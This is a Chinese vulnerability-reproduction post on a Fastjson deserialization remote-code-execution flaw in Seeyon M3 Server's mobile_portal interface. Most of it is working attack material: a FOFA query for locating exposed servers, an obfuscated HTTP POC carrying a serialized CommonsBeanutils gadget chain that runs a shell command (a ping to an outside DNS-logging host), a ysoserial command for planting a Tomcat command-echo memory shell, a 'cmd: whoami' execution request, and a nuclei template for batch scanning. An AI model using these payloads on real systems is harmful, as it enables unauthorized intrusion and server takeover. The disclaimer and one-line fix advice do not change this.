漏洞复现--致远 M3 反序列化 mobile

免责声明：

文章中涉及的漏洞均已修复，敏感信息均已做打码处理，文章仅做经验分享用途，切勿当真，未授权的攻击属于非法行为！文章中敏感信息均已做多层打马处理。传播、利用本文章所提供的信息而造成的任何直接或者间接的后果及损失，均由使用者本人负责，作者不为此承担任何责任，一旦造成后果请自行负责

一：漏洞描述

M3server提供了多种功能模块，涵盖了办公自动化、项目管理、文档管理、流程管理、日程安排、知识管理等方面。该产品mobile_portal接口存在fastjson反序列化

二：漏洞影响版本

致远M3 server

三：网络空间测绘查询

fofa:
title="M3-Server"

四：漏洞复现

利用CB1链生成hex代码，替换POC中的HEX

POC:

POST /mobile_portal/api/pns/message/send/batch/6_1sp1 HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.2; Win64; x64; rv:109.0) Gecko/20100101 Firefox/109.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Content-Type: application/json
Content-Length: 13458

[{"userMessageId":"{\"@\u0074\u0079\u0070\u0065\":\"\u0063\u006f\u006d\u002e\u006d\u0063\u0068\u0061\u006e\u0067\u0065\u002e\u0076\u0032\u002e\u0063\u0033\u0070\u0030\u002e\u0057\u0072\u0061\u0070\u0070\u0065\u0072\u0043\u006f\u006e\u006e\u0065\u0063\u0074\u0069\u006f\u006e\u0050\u006f\u006f\u006c\u0044\u0061\u0074\u0061\u0053\u006f\u0075\u0072\u0063\u0065\",\"\u0075\u0073\u0065\u0072\u004f\u0076\u0065\u0072\u0072\u0069\u0064\u0065\u0073\u0041\u0073\u0053\u0074\u0072\u0069\u006e\u0067\":\"\u0048\u0065\u0078\u0041\u0073\u0063\u0069\u0069\u0053\u0065\u0072\u0069\u0061\u006c\u0069\u007a\u0065\u0064\u004d\u0061\u0070:aced0005737200176a6176612e7574696c2e5072696f72697479517565756594da30b4fb3f82b103000249000473697a654c000a636f6d70617261746f727400164c6a6176612f7574696c2f436f6d70617261746f723b7870000000027372002b6f72672e6170616368652e636f6d6d6f6e732e6265616e7574696c732e4265616e436f6d70617261746f72e3a188ea7322a4480200024c000a636f6d70617261746f7271007e00014c000870726f70657274797400124c6a6176612f6c616e672f537472696e673b78707372003f6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e636f6d70617261746f72732e436f6d70617261626c65436f6d70617261746f72fbf49925b86eb13702000078707400106f757470757450726f706572746965737704000000037372003a636f6d2e73756e2e6f72672e6170616368652e78616c616e2e696e7465726e616c2e78736c74632e747261782e54656d706c61746573496d706c09574fc16eacab3303000649000d5f696e64656e744e756d62657249000e5f7472616e736c6574496e6465785b000a5f62797465636f6465737400035b5b425b00065f636c6173737400125b4c6a6176612f6c616e672f436c6173733b4c00055f6e616d6571007e00044c00115f6f757470757450726f706572746965737400164c6a6176612f7574696c2f50726f706572746965733b787000000000ffffffff757200035b5b424bfd19156767db37020000787000000002757200025b42acf317f8060854e00200007870000006f4cafebabe00000034005e09003300340800350a0004003607003708003808003909001b003a08001d08003b0a003c003d0a003c003e07003f0a000c00400a001c004109001b00420800430a001b004408004508001f09001b004608004709001b00480700490a001700410a0017004a0a0017004b07004c07004d010003636d640100124c6a6176612f6c616e672f537472696e673b0100086973537461746963010003796573010004666c61670100057374617274010003282956010004436f646501000f4c696e654e756d6265725461626c6501000d537461636b4d61705461626c6507004e07003f0100063c696e69743e07004c0100097472616e73666f726d010072284c636f6d2f73756e2f6f72672f6170616368652f78616c616e2f696e7465726e616c2f78736c74632f444f4d3b5b4c636f6d2f73756e2f6f72672f6170616368652f786d6c2f696e7465726e616c2f73657269616c697a65722f53657269616c697a6174696f6e48616e646c65723b295601000a457863657074696f6e7307004f0100a6284c636f6d2f73756e2f6f72672f6170616368652f78616c616e2f696e7465726e616c2f78736c74632f444f4d3b4c636f6d2f73756e2f6f72672f6170616368652f786d6c2f696e7465726e616c2f64746d2f44544d417869734974657261746f723b4c636f6d2f73756e2f6f72672f6170616368652f786d6c2f696e7465726e616c2f73657269616c697a65722f53657269616c697a6174696f6e48616e646c65723b29560100083c636c696e69743e01000a536f7572636546696c6501001052756e74696d65457865632e6a6176610700500c0051001e0100012f0c005200530100106a6176612f6c616e672f537472696e670100072f62696e2f73680100022d630c001d001e0100022f430700540c005500560c005700580100136a6176612f696f2f494f457863657074696f6e0c005900230c002900230c0021001e01000b69735374617469635965730c0022002301001870696e672077786e636876796b69612e64677268332e636e0c001f001e0100035965730c0020001e0100176a6176612f6c616e672f537472696e674275696c6465720c005a005b0c005c005d010008417953516c50466b010040636f6d2f73756e2f6f72672f6170616368652f78616c616e2f696e7465726e616c2f78736c74632f72756e74696d652f41627374726163745472616e736c65740100135b4c6a6176612f6c616e672f537472696e673b010039636f6d2f73756e2f6f72672f6170616368652f78616c616e2f696e7465726e616c2f78736c74632f5472616e736c6574457863657074696f6e01000c6a6176612f696f2f46696c65010009736570617261746f72010006657175616c73010015284c6a6176612f6c616e672f4f626a6563743b295a0100116a6176612f6c616e672f52756e74696d6501000a67657452756e74696d6501001528294c6a6176612f6c616e672f52756e74696d653b01000465786563010028285b4c6a6176612f6c616e672f537472696e673b294c6a6176612f6c616e672f50726f636573733b01000f7072696e74537461636b5472616365010006617070656e6401002d284c6a6176612f6c616e672f537472696e673b294c6a6176612f6c616e672f537472696e674275696c6465723b010008746f537472696e6701001428294c6a6176612f6c616e672f537472696e673b0021001b001c00000004000a001d001e0000000a001f001e0000000a0020001e0000000a0021001e0000000500090022002300010024000000990004000200000049b200011202b6000399001b06bd0004590312055359041206535905b20007534ba7001806bd0004590312085359041209535905b20007534bb8000a2ab6000b57a700084c2bb6000db10001003800400043000c0002002500000022000800000016000b0017002300190038001d004000200043001e0044001f0048002100260000000e000423fc00140700274a07002804000100290023000100240000004900020001000000132ab7000eb2000f1210b600039a0006b80011b10000000200250000001200040000002700040028000f00290012002a00260000000c0001ff0012000107002a00000001002b002c00020024000000190000000300000001b10000000100250000000600010000002d002d000000040001002e0001002b002f000200240000001900000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200成功
再请求/mobile_portal/api/systemLog/pns/loadLog/app.log接口

GET /mobile_portal/api/systemLog/pns/loadLog/app.log HTTP/1.1
Host: x.x.x.x
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate

成功执行ping命令

使用ysoserial生成CB链TomcatCmdEcho回显内存马
https://github.com/Y4er/ysoserial
java -jar ysoserial-main-49888d3191-1.jar CommonsBeanutils192NOCC "CLASS:TomcatCmdEcho" | hex

替换HEX

执行命令，在请求内容加上cmd执行命令回显

GET /mobile_portal/api/systemLog/pns/loadLog/app.log HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0
Connection: close
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Upgrade-Insecure-Requests: 1
cmd: whoami

五：批量检测

id: seeyon-m3server-mobile_portal-rce
info:
  name: 致远M3server反序列化RCE漏洞
  author: fgz
  severity: critical
  description: '致远M3 server中 mobile_portal接口处发现了fastjson反序列化漏洞，漏洞是通过接口/mobile_portal/api/pns/message/send/batch/6_1sp1将恶意payload存入日志中，然后利用/mobile_portal/api/systemLog/pns/loadLog/app.log接口会将日志中的JSON数据进行反序列化的机制触发Fastjson漏洞,造成反序列化远程代码执行。'
  tags: 2023,seeyon,m3server,rce
  metadata:
    max-request: 3
    fofa-query: title="M3-Server"
    verified: true

http:
  - raw:
      - |
        POST /mobile_portal/api/pns/message/send/batch/6_1sp1 HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0 (Windows NT 6.2; Win64; x64; rv:109.0) Gecko/20100101 Firefox/109.0
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
        Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
        Accept-Encoding: gzip, deflate
        Connection: close
        Upgrade-Insecure-Requests: 1
        Sec-Fetch-Dest: document
        Sec-Fetch-Mode: navigate
        Sec-Fetch-Site: none
        Sec-Fetch-User: ?1
        Content-Type: application/json

        [{"userMessageId":"{\"@\u0074\u0079\u0070\u0065\":\"\u0063\u006f\u006d\u002e\u006d\u0063\u0068\u0061\u006e\u0067\u0065\u002e\u0076\u0032\u002e\u0063\u0033\u0070\u0030\u002e\u0057\u0072\u0061\u0070\u0070\u0065\u0072\u0043\u006f\u006e\u006e\u0065\u0063\u0074\u0069\u006f\u006e\u0050\u006f\u006f\u006c\u0044\u0061\u0074\u0061\u0053\u006f\u0075\u0072\u0063\u0065\",\"\u0075\u0073\u0065\u0072\u004f\u0076\u0065\u0072\u0072\u0069\u0064\u0065\u0073\u0041\u0073\u0053\u0074\u0072\u0069\u006e\u0067\":\"\u0048\u0065\u0078\u0041\u0073\u0063\u0069\u0069\u0053\u0065\u0072\u0069\u0061\u006c\u0069\u007a\u0065\u0064\u004d\u0061\u0070:aced0005737200176a6176612e7574696c2e5072696f72697479517565756594da30b4fb3f82b103000249000473697a654c000a636f6d70617261746f727400164c6a6176612f7574696c2f436f6d70617261746f723b7870000000027372002b6f72672e6170616368652e636f6d6d6f6e732e6265616e7574696c732e4265616e436f6d70617261746f72e3a188ea7322a4480200024c000a636f6d70617261746f7271007e00014c000870726f70657274797400124c6a6176612f6c616e672f537472696e673b78707372002a6a6176612e6c616e672e537472696e672443617365496e73656e736974697665436f6d70617261746f7277035c7d5c50e5ce02000078707400106f757470757450726f706572746965737704000000037372003a636f6d2e73756e2e6f72672e6170616368652e78616c616e2e696e7465726e616c2e78736c74632e747261782e54656d706c61746573496d706c09574fc16eacab3303000649000d5f696e64656e744e756d62657249000e5f7472616e736c6574496e6465785b000a5f62797465636f6465737400035b5b425b00065f636c6173737400125b4c6a6176612f6c616e672f436c6173733b4c00055f6e616d6571007e00044c00115f6f757470757450726f706572746965737400164c6a6176612f7574696c2f50726f706572746965733b787000000000ffffffff757200035b5b424bfd19156767db37020000787000000002757200025b42acf317f8060854e00200007870000014afcafebabe0000003301050a004500890a008a008b0a008a008c0a001d008d08007a0a001b008e0a008f00900a008f009107007b0a008a00920800930a002000940800950800960700970800980800580700990a001b009a08009b08007007009c0b0016009d0b0016009e08006708009f0700a00a001b00a10700a20a00a300a40800a50700a60800a70a002000a80800a909002500aa0700ab0a002500ac0800ad0a00ae00af0a002000b00800b10800b20800b30800b40800b50700b60700b70a003000b80a003000b90a00ba00bb0a002f00bc0800bd0a002f00be0a002f00bf0a002000c00800c10a001b00c20a001b00c30800c40700640a001b00c50800c60700c70800c80800c90700ca0701030700cc0100063c696e69743e010003282956010004436f646501000f4c696e654e756d6265725461626c650100124c6f63616c5661726961626c655461626c650100047468697301002c4c79736f73657269616c2f7061796c6f6164732f74656d706c617465732f546f6d636174436d644563686f3b0100097472616e73666f726d010072284c636f6d2f73756e2f6f72672f6170616368652f78616c616e2f696e7465726e616c2f78736c74632f444f4d3b5b4c636f6d2f73756e2f6f72672f6170616368652f786d6c2f696e7465726e616c2f73657269616c697a65722f53657269616c697a6174696f6e48616e646c65723b2956010008646f63756d656e7401002d4c636f6d2f73756e2f6f72672f6170616368652f78616c616e2f696e7465726e616c2f78736c74632f444f4d3b01000868616e646c6572730100425b4c636f6d2f73756e2f6f72672f6170616368652f786d6c2f696e7465726e616c2f73657269616c697a65722f53657269616c697a6174696f6e48616e646c65723b01000a457863657074696f6e730700cd0100a6284c636f6d2f73756e2f6f72672f6170616368652f78616c616e2f696e7465726e616c2f78736c74632f444f4d3b4c636f6d2f73756e2f6f72672f6170616368652f786d6c2f696e7465726e616c2f64746d2f44544d417869734974657261746f723b4c636f6d2f73756e2f6f72672f6170616368652f786d6c2f696e7465726e616c2f73657269616c697a65722f53657269616c697a6174696f6e48616e646c65723b29560100086974657261746f720100354c636f6d2f73756e2f6f72672f6170616368652f786d6c2f696e7465726e616c2f64746d2f44544d417869734974657261746f723b01000768616e646c65720100414c636f6d2f73756e2f6f72672f6170616368652f786d6c2f696e7465726e616c2f73657269616c697a65722f53657269616c697a6174696f6e48616e646c65723b0100083c636c696e69743e010001650100204c6a6176612f6c616e672f4e6f537563684669656c64457863657074696f6e3b010003636c730100114c6a6176612f6c616e672f436c6173733b010004766172350100214c6a6176612f6c616e672f4e6f537563684d6574686f64457863657074696f6e3b010004636d64730100135b4c6a6176612f6c616e672f537472696e673b010006726573756c740100025b4201000970726f636573736f720100124c6a6176612f6c616e672f4f626a6563743b010003726571010004726573700100016a01000149010001740100124c6a6176612f6c616e672f5468726561643b0100037374720100124c6a6176612f6c616e672f537472696e673b0100036f626a01000a70726f636573736f72730100104c6a6176612f7574696c2f4c6973743b0100154c6a6176612f6c616e672f457863657074696f6e3b01000169010004666c61670100015a01000567726f75700100174c6a6176612f6c616e672f54687265616447726f75703b010001660100194c6a6176612f6c616e672f7265666c6563742f4669656c643b010007746872656164730100135b4c6a6176612f6c616e672f5468726561643b01000d537461636b4d61705461626c650700ce0700cf0700d00700a60700a207009907009c0700620700c70700ca01000a536f7572636546696c65010012546f6d636174436d644563686f2e6a6176610c004600470700d00c00d100d20c00d300d40c00d500d60c00d700d80700cf0c00d900da0c00db00dc0c00dd00de010004657865630c00df00e0010004687474700100067461726765740100126a6176612f6c616e672f52756e6e61626c6501000674686973243001001e6a6176612f6c616e672f4e6f53756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      - |
        GET /mobile_portal/api/systemLog/pns/loadLog/app.log HTTP/1.1
        Host: {{Hostname}}
        Upgrade-Insecure-Requests: 1
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
        Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
        Accept-Encoding: gzip, deflate
        cmd: whoami
    matchers:
      - type: dsl
        dsl:
          - "status_code_1 == 200 && contains((body_1), 'Success') && status_code_2 == 200 && contains((body_1), '\')"

六：修复建议
严格限制/mobile_portal/接口的访问权限，关注厂家官网获取修复补丁。